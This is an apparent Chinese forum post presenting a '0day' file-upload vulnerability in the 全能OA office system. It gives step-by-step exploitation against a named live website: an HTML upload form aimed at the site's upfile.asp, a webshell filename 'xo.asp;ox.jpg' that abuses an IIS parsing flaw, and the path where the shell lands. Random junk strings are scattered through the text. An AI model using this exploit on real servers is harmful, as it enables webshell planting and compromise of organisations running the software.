全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
​
系统介绍：

全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。
" x: A; @* H" ^# e. j
+ }2 y7 c2 n* a( U! P主要功能：
5 M# C. i, |  ?' D4 C1 Z; b1 m公司通告
工作计划
; A$ O  f1 \: c. f" F* R% G, P通讯助理
客户资源
我的公文
公文传阅
" T2 _9 X4 |5 C0 G! P' C公共资源
6 H1 B5 B$ D% r7 }3 p: }. }; C资源预约
今日考勤
个人计划
个人通讯录
4 c9 g- }' B) w$ O个人基本档案
; b/ u3 t; A3 U- }% E/ q! w未读邮件
2 L- I1 Y: E5 N- S9 J/ c4 V发邮件
收件夹
寄件夹
0 o/ a, R( Y& z网络硬盘
/ g* y, E) o' \% u) y网络会议
网络调查
交流论坛
# k+ h- T: G6 b+ K; v2 p
有兴趣测试的朋友可以下源码看看
4 ?, @  G2 l  d9 p) x
) l' |2 d/ @  N2 `: O. Z  f7 {源码下载：
3 e( z# J+ b* \
# Y( D8 }, W" Jhttp://www.mycodes.net/30/4750.htm
- ^  O3 {" {$ P. J/ _  U
漏洞介绍：
3 O* M. |8 m( a
由upfile.asp上传文件漏洞引起
" Y8 i. b+ j4 h: L" M3 D
测试方法：

" S3 V( r& E; [使用名小子上传http://www.itlynn.com/upfile.asp即可

2 i& T+ {. [% l1 o6 i; s如果upfile.asp文件被删除不存在。

9 C0 [- O+ F: O% x% O1 B  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。
. v. a; v& J+ D! s, O
如果存在那么将如下代码保存为upfile.html。
9 n) l1 k) p. S9 `
: g! [! x0 g) H, j4 s- V然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
  O7 {' W, a" i$ |' l) @+ B


9 v: j9 A8 l$ M* `  s( X  j01 <table border='0' align="center" cellpadding="5">

02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

) r4 \8 r6 M$ R/ B/ j  A03 <tr>

04             <td>报错：</td>
6 [& Z& ~( |! [
05             <td><input type='radio' name='errnumber' value='0'>
+ X: |! g; D6 J% U$ ?& j# V0 S
1 o) ?  T# m. P06               自动更名
. ~0 M4 r1 N9 N. l$ M
07               <input type='radio' name='errnumber' value='1' checked>

08               报错方式

4 l% e( y# d8 c3 `2 H09               <input type='radio' name='errnumber' value='2'>
1 J+ z& U2 G2 n& ~
10               直接覆盖</td>
$ r; J  v. s* b2 w
11           </tr>
5 L1 D9 K1 o0 @/ C% d; b
12           <tr>
- F& |; }7 k9 G( e( z; ~. `7 S
+ _* N) K( Q2 e) t3 K; U  V13             <td>主题：</td>

: a4 E5 X. ^9 u$ o9 @6 f7 c' ^! r$ I. i14             <td><input type='text' name='filename' size='30'></td>

15           </tr>

16           <tr>
8 |3 h4 p! p' |& Q: W+ j8 x: X
5 \' ~/ Q& Q& }  K  S2 F17             <td>文件：</td>
6 p1 I, d/ }( p) J# ^& v
18             <td><input type="file"name="fruit"size="30"></td>

2 L& A2 T, d$ H$ }/ b19           </tr>

20           <tr>

6 k2 ^& Q2 C% c" V( o1 |8 b21             <td valign='top'>简介：</td>

/ _( l1 R2 b# I! D+ Z  s22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

23           </tr>

* e6 P6 P, h5 ]2 ^$ U( I24   
3 M+ r% h: Y. E8 _1 P: Q' O# [' w
25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

26           </tr>
/ Q: ^7 Z) ]; f+ j
  C* I, A7 W' e6 }8 Y27         </form>
2 U" b- s9 M3 p! A7 K, z3 \
然后打开上传一个文件名为xo.asp;ox.jpg的文件。
+ [" ]: i4 Z) i' o5 h$ a# d- F

( k4 Y" Z' |, R. i" }% P
3 X% h% H- P! z1 \& P6 ~3 n上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

8 B# M% o( h' p( g( w此漏洞需要配合解析漏洞利用。